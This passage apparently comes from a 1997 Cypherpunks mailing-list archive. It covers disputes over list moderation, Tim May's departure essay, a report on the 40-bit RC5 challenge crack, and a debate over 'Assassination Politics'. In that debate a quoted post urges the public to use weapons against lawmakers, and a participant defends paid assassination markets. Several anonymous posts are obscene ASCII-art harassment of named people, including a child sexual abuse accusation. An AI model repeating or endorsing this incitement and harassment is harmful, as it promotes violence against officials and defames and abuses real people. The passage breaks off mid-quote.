has been "guaranteed", this means (by my interpretation) that it is a done deal and nothing further need be done about it - it's established and automatic. But obviously a "right", though it be a basic operant in Nature and existent as an abstract concept in some people's minds, is not recognized either naturally or formally by many. Therefore, as Jefferson remarked, we cannot depend on our forefather's vision to uphold our honor but must re-establish it as needed. .. Blanc From blancw at cnw.com Sun Feb 2 17:52:02 1997 From: blancw at cnw.com (blanc) Date: Sun, 2 Feb 1997 17:52:02 -0800 (PST) Subject: FW: Cyphernomicon by Tim May Message-ID: <01BC1132.6711FB80@king1-28.cnw.com> (meant to send this to the list earlier) From: Toto Personally, I could care less when people want to play footsie-games with flaming, but I think it points out the ludicrousness of having a moderator limiting people to 'childish' insults. I prefer someone screaming at me what a cocksucker I am. ................................................... Now, you know it has to do with proportion: if Jim Choate, in the course of an ADD-induced discourse on the reprehensability of libelous indiscretions, happens to let out a "Bessie", it's going to be less disconcerting than to read continuous content-less alerts consisting of nothing but declarations against your personal virtue. At the very least, the one provides some cause for educated clarification, while the other leaves nothing to say, but only to filter. However, it's 3:00 a.m. PST and Sandy's asleep right now, so if you really feel like flaming somebody uninhibitedly, now's the time to get past the flame-bot (hee-hee). = Ray Hettinga forwards these long, literate missives advertising this-or-that million dollar a plate conferences, but when he chose to insult me with his own words, the result was an immature blathering which showed questionable literary skills. ............................................. Bad, Ray - Bad! = It would be nice, however, to try to twist the rest of the list around to my own world-view. It gets lonely here in the 'rubber room' at the Home, and I could use some company. ............................................. You're at liberty to try. Why don't you start with Messrs. Jim and Jim. (but, wait - let me set up my Inbox Rules.....) .. Blanc From dthorn at gte.net Sun Feb 2 18:31:36 1997 From: dthorn at gte.net (Dale Thorn) Date: Sun, 2 Feb 1997 18:31:36 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater In-Reply-To: <199702030110.TAA24381@manifold.algebra.com> Message-ID: <32F54DB1.5D6F@gte.net> Igor Chudov @ home wrote: > jim bell wrote: > > Better yet, set up a system to encourage the public to USE those guns (and > > other weapons) to get rid of the people who pass such laws, and the problem > > is solved. > How about this scenario: I borrow 1 million dollars from, let's say, > Phill Hallam-Baker. Not wanting to pay it back, I pay to the > assassination bot and arrange him to be murdered. Igor, there's an old saying in this country: the best way to lose a friend is to lend him money. > Another story: suppose that I negligently caused fire that destroys > house of, say, Toto. Toto knows that if he sues me, I can arrange him > murdered for the amount less than the amount of damages. As a result, > he refrains from suing me, or (if he is a mean person) pays additional > money to have me murdered. A suit would probably be a much better outcome. Sometimes you have to pay a steep price for negligence, like neglecting to watch how close you get to the edge of the road on, say, Topanga Canyon or one of those (long way down). Now, since people *know* to be extra careful on the canyon roads, don't you think by the same analogy they'd be extra careful with other things when AP is running? > Another story: suppose that OKSAS hired me to work for her, but then > our relationships go south and she fires me. Again, her fate is very > unclear, although I would probably spare her life if it were she. If she does it right, with empathy, there is not likely to be a problem. On the other hand, if she bad-mouths you to prospective employers or customers you want to do business with, you might be inclined to hit her. This happens a lot when AP is not available. > The bottom line is, it becomes very hard to do ANYTHING that disappoints > at least somebody. That can lead to a lot of inefficiencies. To get rid of everyone who pisses you off, you'd have to pay a lot more money than you'll ever have, therefore not a problem. Those people who have such money are not going to bump off very many more people than they already do, because: 1. They need the people to make money off of (Mafia rule #4, never kill someone who owes you money [or is a money source]). 2. Rich people have a lot of eyes on them, and it would be easy to triangulate a series of murders to them, even without hard evidence. In an AP world, this triangulation/correlation would be enough to convince people to either shun this killer, or kill him outright. From winsock at rigel.cyberpass.net Sun Feb 2 18:32:35 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Sun, 2 Feb 1997 18:32:35 -0800 (PST) Subject: [ITAR] Key Security Question Message-ID: <199702030232.SAA19017@sirius.infonex.com> Dr.Decoy L[esbian] Vagina K[ankersore]OTM uses an Adolf Hitler action figure as a dildo. O |'| /\ | | Dr.Decoy L[esbian] Vagina K[ankersore]OTM /\ \-------| / / |-------| From winsock at rigel.cyberpass.net Sun Feb 2 18:32:41 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Sun, 2 Feb 1997 18:32:41 -0800 (PST) Subject: [DSS] overview.htm Message-ID: <199702030232.SAA19022@sirius.infonex.com> Dimitri Vehement K[arcinogen] Of The Month's wee-wee is so tiny that only his mommy is allowed to touch it. /\ \ / /\ //\\ .. //\\ Dimitri Vehement K[arcinogen] Of The Month //\(( ))/\\ / < `' > \ From winsock at rigel.cyberpass.net Sun Feb 2 18:35:21 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Sun, 2 Feb 1997 18:35:21 -0800 (PST) Subject: [FWD] Making OCR'ed code transfer easier Message-ID: <199702030235.SAA19253@sirius.infonex.com> Dopefiend Liar Villain Kondom Of The Moment will fuck anything that moves, but he'd rather be fucking his own son's prepubescent body. _ O O _ \-|-\_/-|-/ Dopefiend Liar Villain Kondom Of The Moment /^\ /^\ ^^ ^^ ^^ ^^ From dthorn at gte.net Sun Feb 2 18:49:52 1997 From: dthorn at gte.net (Dale Thorn) Date: Sun, 2 Feb 1997 18:49:52 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: Message-ID: <32F55207.21E5@gte.net> Timothy C. May wrote: > With no false modesty I tried awfully hard to compose > substantive essays on crypto-political topics, often more than one per day. > (Others did too, but they seem to be tapering off as well, leaving the list > to be dominated by something called a "Toto," the "O.J. was framed!" > ravings of Dale Thorn, Dale, that's me! > * To summarize: > - the decision to censor the list was made without any discussion on the > list, without any discussion with at least some of the longterm core > contributors, and was presented as a "fait accompli." > - while John has every right to do with his hardware as he wishes, he does > not "own" the Cypherpunks group (though whether he owns the "list" is a > semantically debatable point) Which is exactly the point I labored so long on while Tim May was sitting on the sidelines. > - whatever our group once was, or still is, is not dependent on having a > particular mailing list running on someone's home machine...and it cannot > be claimed that any person "owns" the Cypherpunks group. Ditto. From blancw at cnw.com Sun Feb 2 18:53:21 1997 From: blancw at cnw.com (blanc) Date: Sun, 2 Feb 1997 18:53:21 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <01BC113A.E314D560@king1-28.cnw.com> From: Steve Schear I sincerely doubt that many would use AP to right small slights, anymore than many now kill others for the same reasons. The world has always been inhabited by bullies and tyrants who cared little of what harm they caused others. An AP system would quickly eliminate bullies and tyrants. .................................................... Some of them. But like an infection which can be potentialy killed with antibiotics, ignoring the unhealthy conditions which made it possible to establish itself will frustrate the attempts to prevent the phenomena of its recurrence. .. Blanc From ichudov at algebra.com Sun Feb 2 18:59:43 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sun, 2 Feb 1997 18:59:43 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater In-Reply-To: <32F54DB1.5D6F@gte.net> Message-ID: <199702030241.UAA25010@manifold.algebra.com> Dale Thorn wrote: > Igor Chudov @ home wrote: > > > How about this scenario: I borrow 1 million dollars from, let's say, > > Phill Hallam-Baker. Not wanting to pay it back, I pay to the > > assassination bot and arrange him to be murdered. > > Igor, there's an old saying in this country: the best way to lose a > friend is to lend him money. Phill, in this example, is not my friend, but a lender. > > Another story: suppose that I negligently caused fire that destroys > > house of, say, Toto. Toto knows that if he sues me, I can arrange him > > murdered for the amount less than the amount of damages. As a result, > > he refrains from suing me, or (if he is a mean person) pays additional > > money to have me murdered. A suit would probably be a much better outcome. > > Sometimes you have to pay a steep price for negligence, like neglecting > to watch how close you get to the edge of the road on, say, Topanga > Canyon or one of those (long way down). Now, since people *know* to > be extra careful on the canyon roads, don't you think by the same > analogy they'd be extra careful with other things when AP is running? Mmm, likely the result will be that Toto will be impoverished (it is an example, do not take it personally) and will not only not be able to murder me, but also will be too afraid to sue me (because I would rather pay for a cheaper assassination than to pay damages). > > Another story: suppose that OKSAS hired me to work for her, but then > > our relationships go south and she fires me. Again, her fate is very > > unclear, although I would probably spare her life if it were she. > > If she does it right, with empathy, there is not likely to be a > problem. On the other hand, if she bad-mouths you to prospective > employers or customers you want to do business with, you might be > inclined to hit her. This happens a lot when AP is not available. ... But would happen more often if it was. > > The bottom line is, it becomes very hard to do ANYTHING that disappoints > > at least somebody. That can lead to a lot of inefficiencies. > > To get rid of everyone who pisses you off, you'd have to pay a lot > more money than you'll ever have, therefore not a problem. Those Why, I will have a lot of money. > people who have such money are not going to bump off very many more > people than they already do, because: > > 1. They need the people to make money off of (Mafia rule #4, never > kill someone who owes you money [or is a money source]). This is a wrong Mafia rule, they do kill debtors who are in default. > 2. Rich people have a lot of eyes on them, and it would be easy to > triangulate a series of murders to them, even without hard evidence. > In an AP world, this triangulation/correlation would be enough to > convince people to either shun this killer, or kill him outright. When ten people make deals with each other, it becomes hard to triangulate. And it is easy, if you know what deals are done, to change the result of triangulation: suppose that I know that you borrowed 1 million from Toto, that my _and_ yours business partner had been murdered (by me, but no one knows), and I am afraid that someone will triangulate me and implicate me in that murder. I secretly order the AP bot to kill Toto, and you get implicated. Not good. - Igor. From tcmay at got.net Sun Feb 2 19:25:50 1997 From: tcmay at got.net (Timothy C. May) Date: Sun, 2 Feb 1997 19:25:50 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702030325.TAA09985@toad.com> A couple of people have sent me pinging messages, asking about my status on the Cypherpunks list....apparently it has taken several weeks for folks to notice my absence! :-} This may speak volumes about why I have left the list, and what the list has become..... I chose not to write a "departing flame" (or message, but some might call it a flame) when I unsubscribed several weeks ago--within an hour of reading that John and Sandy had decided to make "their" list a moderated list, by the way--as I saw little benefit. I was also fed up with things, and saw no point in wasting even more of my time arguing against the New Cypherpunks World Order, as the NCWO was clearly presented as a fait accompli, not something ablut which opinions of list members (or even list _founders_, at least not me) were being sought. It's my nature to just say "Fuck it" and leave when I feel I have overstayed my time, or things are no longer fun, or I am made to feel unwelcome. But since several people have pinged me, asking about my status, I'll take some time to say a few things. I've had access to the hks.net archive site, and/or the Singapore site, to occasionally see what was being said on the list (old habits die slowly, so I sometimes drop in to see what you people are flaming each other about...not surprisingly--in fact utterly predictably--I see vast amounts of bandwidth consumed by arguments about moderation, about the putative biases of the Moderator and Director of the New Cypherpunks World Order, about alternative moderation strategies (which is stupid, as John and Sandy announced what they were going to do, not just some of their preliminary thoughts), and so on. I've also noticed fewer substantive essays. With no false modesty I tried awfully hard to compose substantive essays on crypto-political topics, often more than one per day. (Others did too, but they seem to be tapering off as well, leaving the list to be dominated by something called a "Toto," the "O.J. was framed!" ravings of Dale Thorn, the love letters between Vulis and someone name Nurdane Oksas, and the occasional bit of crypto news. Ho hum. I'm glad I'm not reading the list in e-mail, and thus can easily avoid replying to these inanities...which would probably not be approved for reading by Sandy, so why bother anyway?) Rather than compose a traditional essay, I'll take the easy way out and list some bulleted points. * First, I don't argue that John Gilmore is unfree to do as he wishes with his machine, toad, which has been the major machine host for the Cypherpunks list. John can tell us we have to write in Pig Latin if he wishes. Much of the debate I saw in the archives was debate that missed the point about what John could and couldn't do. No one can seriously question the right of the owner of a machine, or the owner of a restaurant, etc., to set the policies he wishes. The owner of a restaurant is perfectly free--or used to be, and still is to anyone with even slightly libertarian or freedom tendencies--to set the rules of his "house." He may insist that shirts and shoes be worn, or that smoking is not allowed (or even is required, in theory), etc. He may say "All those eating in my restaurant must wear funny hats and have their costumes approved by Sandy Sandfort." This is unexceptionable. * However, anyone who disputes these rules (disputes in the sense of disliking or disagreeing with them, not legally challenging them) is free to leave. Those who don't like crowded, noisy, smoke-filled sports bars are encourgaged to leave. And so on. Again, unexceptionable. (The more complicated case of contracts, verbal or written, and "changing the rules," does not apply here. No one had a contract with John, or Sandy, or Hugh, etc., so this is not germane.) * But the really important issue is this: is the _physical hosting_ of the Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list was hosted by, say, UC Berkeley or PGP Incorporated, would we consider these hosts to be the "owners" of the Cypherpunks group? Would we think that a corporate host, say, would have the authority to direct what we could say on the list? (Again, not disputing their corporate property rights...as a libertarian, I cannot. Other issues are what I'm getting at.) * If a Boy Scout troop meets at a local church, and has for several years, continuously, would we consider the church to be the owner of the troop? Could the church insist on avoidance of certain "cuss words" and demand that prayers be said before each gathering? Certainly the church could tell the troop what policies were to be followed if the the facilities were to be used, etc., and the troop could leave if it didn't like the terms (or, in parallel with my situation, any troop member could choose to leave....). This is what we mean by "property rights": the legal right of a property owner to do with his property as he wishes, modulo prior contractual relationships, criminal laws, etc. * How did the mailing list for the group, now called Cypherpunks, get started, and how did it end up being run off of John's hardare? Hugh Daniel got the actual mailing list rolling, based on a discussion Eric Hughes, Hugh, and I had the day after the first physical meeting, in September 1992. We thought the group we had just spent the day with ought to be able to stay in touch, and that a mailing list was the right way to go. There was talk of siting it on the UC Berkeley computers (actually, the Undergraduate Association computers, a la the Cypherpunks archive site at "csua"), but Hugh thought he might be able to use "toad," and this is what happened. (I have not heard from Hugh on his views of this New and Moderated Non-Anarchic List.) * I think we should all be very grateful to John for agreeing to let it run on his hardware, but not let our gratitude turn into some sort of subservience and blather about how John "owns" the Cypherpunks group. * Again, is the "Cyherpunks community" the same as the mailing list? And is the mailing list, hosted at toad, the "property" of John Gilmore? * In my view, neither John nor Sandy in any sense "own" our group. It is a virtual community which sometimes has physical meetings at various places (including corporations, restaurants, and bookstores, none of which are even partial "owners" of the group) and which has had several instantiations on the Net, including sub-lists not connected to toad.com in any way. While John is of course free at any time to suspend his hosting of the list, I think it a serious misapprehension of the basic nature of virtual communities to accept the claim that John should decide on what is appropriate to bear the "Cypherpunks" list imprimatur and what is to be consigned to the flame list. * The mechanics of the announcement troubled me greatly. To be blunt, I was seething with anger. I was mightily annoyed to read that John had made a decision to appoint Sandy as his Moderator, with no discussion on the list. I don't know if Eric Hughes and Hugh Daniel were asked their opinions, but I certainly know I was not. I feel that as one of the two or three founders, depending on how one is counting, and as a frequent contributor to the list since its inception, and so on, I (and others) should at least have been told of this plan. Better yet, have the plans discussed on the list, as some good ideas may have been generated. I'll have more to say about my problems with how things were handled. Frankly, it smacked of the same kind of fait accompli decision John made with the unsubscribing of Vulis. While John had (and has) every legal right to do with his property as he wished, the effect was very negative. First, Vulis found other ways to post (duh). Second, the list was consumed with flames about this, many from Vulis, and many from others. Third, journalists (who love sizzle over substance any day of the week) lept into the fray with articles which gave Vulis the publicity he craved. Fourth, it sent a message to enemies of liberty that "Even the Cypherpunks have found it necessary to abandon their anarchic ways." (I'm well aware of the issues with pests like Vulis, who seek to destroy virtual communities like ours. But the solution John used did not work, and generated more crap. As you all should know, it was John himself who coined the wonderful saying, "The Net interprets censorship as damage and routes around it." A delicious irony.) * In the archives, I did see a bunch of "I support Sandy" and "John is our leader" comments from reasonable people. The obvious noise of Vulis and his cohorts like Aga made a "Do something!" attitude somewhat understandable. I don't think the decision made was a wise one, and I strongly doubt it will work to make the list a better one. * The proper solution to bad speech is more speech, not censorship. Censorship just makes opponents of "speech anarchy" happy--it affirms their basic belief that censors are needed. * "Censorship" is another overloaded term. I don't think the "Definition 1" of dictionary definitions, about _governmental_ restrictions, is the only meaningful definition. Everybody knows what it meant when we say that "Lockheed is censoring the views of employees," even though we know Lockheed is not using government power. A censor is one who censors. And even my "American Heritage Dictionary" gives this as its "definition 1": "censor n. 1. A person authorized to examine books, films, or other material and to remove or suppress morally, politically, or otherwise objectionable." (Other dictionaries of course give similar definitions. The notion that censors are confined to being government employees is a misconception.) * OK, even given that John had decided to censor "his" list, what about his choice of Sandy Sandfort as the censor? I've known Sandy for several years (I was the one who invited him to the second Cypherpunks meeting), but he's a poor choice as a censor, moderator, whatever. First, because he has so often gotten involved in protracted flame wars, such as with Vulis (remember the dozens of messages about the "bet" to bring Vulis out? I stayed out of the charade completely.), with Hallam-Baker, and with others. Second, because he has not been actively composing essays for a while, perhaps because of his job with Community Connexion. Other reasons, too. (I count Sandy as a friend, but I'm just being honest here. Sandy is just not a "Peter Neumann" (moderator of the "RISKS" list). * Nor do the announced criteria make any sense. While the inane one-line scatological insults have been filtered out, many "flames" make it through, based on what I've seen in perusing the hks archive site. And some reasonable comments get dumped in the flame bucket. * As expected, those who only want to talk about cryptography (but who rarely do, themselves, also as expected) waste bandwidth saying the "anarchist" and "libertarian" stuff ought to go in to the "rejected" list. More bandwidth wasted, as each group lobbies to have its ideological opponents censored by Sandy. * I would have had no problem had John announced that he was creating a new list, the "Good Stuff" list, with Sandy has his Chooser of Good Stuff. After all, both Eric Blossom and Ray Arachelian already offer just such lists, and more would not hurt. But by making the _main list_ the censored one, this skewed things considerably. * (Frankly, one of my considerations in leaving was the feeling that I would never know if an essay I'd spent hours composing would be rejected by Sandy for whatever reasons....maybe he might think my essay was off-topic, or used one of the Seven Deadly Words, or was "too flamish." Whatever. I realized that life is too short to have Sandy Sandfort deciding whether my essays should go out to the main list (which is really just a list like Eric Blossom's best-of list, except it is be edict now the main list) or be dumped into the flames list, to be read by a handful of people.) * Why, many reasonable people may ask, did I not simply unsubscribe from the "Cypherpunks" list and subscribe to the "Cypherpunks-Unedited) (or whatever it is called) list? Because of my overall anger with the issues raised above. The imperiousness of the decision, the notion of favoring Sandy's tastes in a more "first class" way than, say, the tastes of Eric Blossom, Ray Arachelian, or, for that matter, me. "Some censors are more equal than others." * The decision to "moderate" (censor) the Cypherpunks list is powerful ammunition to give to our opponents, and Vulis is certainly gleeful that his fondest wishes have been realized. And it won't work. People are consuming even more bandwidth arguing the merits of John's decision, the traffic is presumably being slowed down by the need for Sandy to wade through the traffic and stamp "Approved" or "Rejected" on what he glances at, and people are "testing the limits" of what they can say and what they can't say. * It also sends a message that people are incapable of filtering out bad speech, that they need a censor to do it for them. (Again, I have no problem with competing "screeners," a la having Ray, Eric, or David Sternlight filtering what they think is OK and what is not. Let a thousand filtering services bloom.) But the clear message by having Sandy censor the main list (the default list, the list name with the main name, the list we all know about, etc.) is that Cypherpunks need Big Brother to shelter them from Bad Thoughts, from Naughty Words, from Evil Flames, and from Impure Desires. Foo on that. * Psychologists might point to random reinforcement, even to the effects of terror. How many of us are likely to write controversial posts knowing that Sandy might wake up having a "bad hair day" and thus reject our posts? How many will begin to skew their opinions to match those of Sandy? (I would venture a guess that a Duncan Frissell would almost certainly get a libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to get a leftist rant past him.) * Those who want "less noise" should subcontract with the filter services of their own choosing. This is the "Cypherpunk Way." Having Sandy as the censor is the easy way out. * By the way, the moderated list "RISKS" works pretty well. But it is not a _discussion_ group. It is, rather, a digest of news items related to computer and technology risks, with some discussion by various contributors, and with a long turnaround time of a few issues per week, tops. Peter Neumann also devotes a lot of time to making it run smoothly and bases part of his professional career on running it. I surmise that Sandy is not prepared to do the same. Nor would this be a good idea, as this would kill the spirit of the debate. * Had there been a debate about the policy, I can think of several approaches I'd like better. But inasmuch as John made it clear that there would be no debate (and, perhaps as part of the "problem," John has not really been a active member of the mailing list, in terms of participating in the debates), this is all moot. In any case, my several years with the list have taken a huge amount of my time. Given the way this whole thing was handled, and the way the list is degenerating even further, it looks like it's good that I'm moving on to other things. * To summarize: - the decision to censor the list was made without any discussion on the list, without any discussion with at least some of the longterm core contributors, and was presented as a "fait accompli." - while John has every right to do with his hardware as he wishes, he does not "own" the Cypherpunks group (though whether he owns the "list" is a semantically debatable point) - whatever our group once was, or still is, is not dependent on having a particular mailing list running on someone's home machine...and it cannot be claimed that any person "owns" the Cypherpunks group. - there is some talk of creating another Cypherpunks list, on other machines; I don't know whether or not this will fly, or if I'll devote any time to such lists. - the effect of censorship, such as I have seen it so far, is not producing a better list. In fact, as I would have expected, it is producing a more boring and sheltered list. And so there you have it. I had no plans to set down my views, feeling it was a waste of my time and your time. Rather than foam and rant the way some did (and Vulis must have posted 100 messages on the subject), I chose to simply make my exit, quickly. But as I have recently seen several mentions of my absence (including a particularly complimentary comment from Asgaard--thanks), I do feel I owe it to you all to explain my views. Which I have done. Have a nice year, and a nice millenium in a couple of years. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From lucifer at dhp.com Sun Feb 2 19:31:17 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Sun, 2 Feb 1997 19:31:17 -0800 (PST) Subject: None[STEGO] Elliptic curves Message-ID: <199702030331.WAA06501@dhp.com> Timmy C[reep] May's 16Kb brain's single convolution is directly wired to his rectum for input and his T1 mouth for output. That's 16K bits, not bytes. Anal intercourse has caused extensive brain damage. \ o/\_ Timmy C[reep] May <\__,\ '\, | From jimbell at pacifier.com Sun Feb 2 20:26:27 1997 From: jimbell at pacifier.com (jim bell) Date: Sun, 2 Feb 1997 20:26:27 -0800 (PST) Subject: VOICE STRESS ANALYSIS Message-ID: <199702030426.UAA15221@mail.pacifier.com> Awhile back we were discussing voice-stress analysis; just got this item on the subject; he said it's okay to post it. >From: Spectre334 at aol.com >Date: Sun, 2 Feb 1997 09:31:17 -0500 (EST) >To: jimbell at pacifier.com >cc: BLAMES2778 at aol.com, AFSCA at aol.com, JLeek426 at aol.com >Subject: VOICE STRESS ANALYSIS > >MR. BELL: > >I FOUND YOUR QUERY ABOUT VOICE STRESS ANALYSIS ON THE INTERNET, AND I TOO, >HAVE FOUND A DEARTH OF INFORMATION THERE - UNTIL NOW. > >I'M PLEASED TO REPORT THAT VOICE STRESS ANALYSIS (VSA) IS ALIVE AND WELL. IT >HAS BEEN QUIETLY PERFORMING IN THE SHADOW OF THE POLYGRAPH FOR MANY YEARS. > NOW, HOWEVER, IT IS COMING INTO ITS AND IS USED IN MANY STATES TO AID IN >CRIMINAL INVESTIGATIONS AND OTHER APPLICATIONS. > >AMONG ITS OTHER BENEFITS, VSA REQUIRES NO INTIMIDATING HOOKUP TO THE >SUBJECT'S BODY, IN ORDER TO MEASURE THE LEVEL OF STRESS. IT CAN BE CONDUCTED >VIRTUALLY ANYWHERE - EVEN WHERE NO ELECTRICITY IS PRESENT. PERHAPS MOST >PERTINENT TO YOUR QUESTION, VSA CAN BE SOMETIMES PERFORMED ON PEOPLE WHO ARE >NO LONGER AROUND, THROUGH THEIR RECORDED VOICES. THIS IS CALLED "NARRATIVE >ANALYSIS" AND IS SOMEWHAT TOUGHER THAN THE BASIC QUESTION - AND -ANSWER >APPROACH, SINCE THE EXAMINER CANNOT CONTROL THE CONTENT AND SEQUENCE OF >QUESTIONS, IF THE SOURCE IS A PAST RECORDING. > >THE DIOGENES GROUP, INC., OF WHICH I AM PRESIDENT, HAS DEVELOPED A TOTALLY >DIGITAL APPROACH TO VSA, AND BEGAN DELIVERING SYSTEMS TO LAW ENFORCEMENT >AGENCIES IN DECEMBER, 1996. THE PREMIER DIOGENES VSA PRODUCT IS REDUCED TO >THE SIZE OF A NOTEBOOK COMPUTER, BUT PRODUCES REALTIME PROCESSING FOR >SOFTCOPY DISPLAY, AND HARDCOPY PRINTING WITHIN SECONDS. > >YOU MAY BE FAMILIAR WITH THE PREVIOUS STATE-OF-THE-ART, WHICH WAS A >RELATIVELY LARGE ANALOG MACHINE, USING A SINGLE CHANNEL AND PRINTING OUT THAT >DATA ON A ROLL OF THERMAL PAPER. THOSE DAYS ARE GONE FOREVER. > >IF YOU WOULD LIKE MORE INFORMATION ON THE DIOGENES GROUP AND ITS PRODUCTS, >PLEASE USE THIS CHANNEL TO SEND ME YOUR MAILING ADDRESS, PHONE NUMBER, AND >FAX NUMBER. > >THANKS FOR YOUR INTEREST IN VOICE STRESS ANALYSIS. > >SINCERELY, > >TOM > >(THOMAS F. MCGRAW) > > Jim Bell jimbell at pacifier.com From nobody at zifi.genetics.utah.edu Sun Feb 2 20:27:15 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Sun, 2 Feb 1997 20:27:15 -0800 (PST) Subject: [STATS] Dr. Denning Message-ID: <199702030427.VAA28260@zifi.genetics.utah.edu> Dr.Deceased L"amentation" Vibrator likes to be the man in the middle, getting it both up the ass and in his mouth. O |'| /\ | | Dr.Deceased L"amentation" Vibrator /\ \-------| / / |-------| From vin at shore.net Sun Feb 2 20:49:07 1997 From: vin at shore.net (Vin McLellan) Date: Sun, 2 Feb 1997 20:49:07 -0800 (PST) Subject: "Strong" crypto and export rule changes. In-Reply-To: <199702020956.BAA16024@toad.com> Message-ID: Ian popped the 40-bit RC5 (not RC4) challenge with 259 processors, almost all standard Unix college-lab workstations, as I understand it. (RC5 has a variable block size and a variable number of rounds; but the unknown plaintexts for this contest were enciphered using a declared 12-round RC5 with a 32-bit word size.) The message Ian revealed was something like: "That's why you need a longer key!!!!!" RSA posted rewards for anyone who can break a 56-bit DES challenge and/or any of 12 variable-length RC5 challenge messages. The 40-bit RC5 cipher was the least of these and was expected to fall quickly. The initial RSA announcement of the contest emphatically declared that even 56-bit-key crypto (DES or RC5) offers only "marginal protection" against a committed adversary -- which is not to in any way minimize Ian's accomplishment, or the efforts (some also successful!) of others who also tackled the 40-bit challenge. SDTI/RSA celebrated Ian's achievement enthusiastically at the RSA Security Conference in San Fran last week. Burt Kalisky, the Chief Scientist at RSA, preempted a main session at the Conference to do an on-stage telephone interview with Ian about his attack. SDTI (RSA) apparently hopes to use Ian's "timely" achievement to urge Congress to challenge the idiotic 40-bit EAR ceiling and the key-escrow contracts required to get a 56-bit export license. (The network Ian used to link his lab workstations, NOW at Berkeley, is definitely not standard, however. I think there is a description of it online; but briefly, NOW seems designed to very efficiently handle this sort of intensive distributed processing project. More important, perhaps, was the fact that Ian just chewed through the possible keys with a pure brute-force attack on the key space. His attack was not really optimized for RC5, or designed to attack any specific element in the RC5 crypto architecture.) Jim Bitzos of RSA also gave a thought-provoking thumbnail summary of the IBM Key Recovery Alliance (making a better case for it in 30 seconds than the long technical presentatations from IBM.) As Bitzos explained it, the variable key-size control allows a corporate user to communicate through encrypted links to a variety of international recipients -- dynamically adjusting the encryption mechanism to whatever varied restrictions are required by the French, German, US, UK, etc. , govenments. "It's an imperfect world," growled Bitzos -- but both users and vendors need workable mechanisms today to allow them to adapt to whatever contraints on strong encryption that are, or will be, required by the various national authorities. It's a mistake, he suggested, to think of the IBM Key Recovery Initiative soley in terms of US controls. Many governments are reacting with hostility to the availability of strong encryption -- and until the Market finds a voice and educates the political and spook cultures, commercial entities will inevitably have to adapt their work-a-day communications security to a wide variety of national crypto controls and key-length restrictions. (What I got about the IBM presentations was the realization that there is nothing in the key recovery mechanism, per se, that requires the recovery key to be held by a third party. That, to my mind, is the essential distinction between key escrow and key recovery. I also realized that IBM has, for years, quietly held a crucial piece of the PKC scheme in its patented "control vector" tech, which irrevocably binds a whole set of context-specific rules and constraints to a decryption key. I now realize that the control vector technology was the foundation much of the the DoD's Blacknet development. Important stuff -- check it out!) Like Big Jim said, it's an imperfect world -- and likely to become more so, from the C'punk perspective, before it becomes better. The rumor mill among the 2,500 cryptographers, mostly developers, who attended the RSA Conference was pumping overtime. One of the saddest and most persistent rumors was that the Clinton Administration would, within months, introduce a Congressional bill to make unescrowed strong encryption illegal in the US. (Personally, I'd put bitter money on that one. ) David Aaron, US Crypto Ambassador and the US permanent rep to the OECD -- in which role he has strove to convince the newly liberated nations of Eastern Europe that built-in wiretap links are essential design components for a modern democratic nation's communications infrastructure -- was charming and gracious... but it was no surprise that he didn't budge a bit from the "sovereign right to listen" policy line. You shouldn't have skipped the RSA bash, Adam, not even for your DCS gig in the sunny Caribbean. There were numerous Lion and the Lamb drinking bouts thoughout the week (some rather amazing, in terms of both the participants and the volume of "input".) You would have loved it. Passions often ran high, but usually in quiet intense coversations. I (one Lamb, white wool turning gray;-) had distinct impression that there many US government cryptographers uncomfortable with the Administration's NSA/FBI-inspired absolutist POV. Not even all senior feds feel that Constitutional Law should be (re)written by FBI case agents obsessed with making it easier to bust some two-bit crack dealer next month. (Doesn't mean much in the larger scheme of things, but the pained ambivalence vividly reminded me of Vietnam debates so many years ago.) My favorite quote, from a federal LEA lawyer deep in his cups: "If the colonial cops, rather than the philosophers, had drafted the Constitution -- would Madison and Jefferson, et al, have been willing to even put their names to it??" Suerte, _Vin -------- In Reply To: >Steve Schear wrote: >| > What the US government will allow to be exported is not "strong >| >encryption." It is encryption only slightly too strong to be broken >| >by an amateur effort. For the right investment in custom hardware, it >| >falls quickly. (500,000 $US = 3.5 hour avg break). >| > >| >| Considering Ian's feat you certainly seem to have had your crystal >| ball in hand. Adam Shostack responded: > I wear three around my neck. Its a new age thing. > > More seriously, that estimate is the cost of breaking DES on >custom hardware, based on Wiener's figures. Ian got RC4-40 in 3.5 >hours on I don't know how much hardware, not a lot of it custom, >AFAIK. Vin McLellan + The Privacy Guild + 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 From dlv at bwalk.dm.com Sun Feb 2 21:30:17 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 2 Feb 1997 21:30:17 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater In-Reply-To: Message-ID: OKSAS writes: > > On Sun, 2 Feb 1997, Igor Chudov @ home wrote: > > > jim bell wrote: > > > > > > Better yet, set up a system to encourage the public to USE those guns (an > > > other weapons) to get rid of the people who pass such laws, and the probl > > > is solved. > > > > > > > How about this scenario: I borrow 1 million dollars from, let's say, > > Phill Hallam-Baker. Not wanting to pay it back, I pay to the > > assassination bot and arrange him to be murdered. > > > > Another story: suppose that I negligently caused fire that destroys > > house of, say, Toto. Toto knows that if he sues me, I can arrange him > > murdered for the amount less than the amount of damages. As a result, > > he refrains from suing me, or (if he is a mean person) pays additional > > money to have me murdered. A suit would probably be a much better outcome. > > > > Another story: suppose that 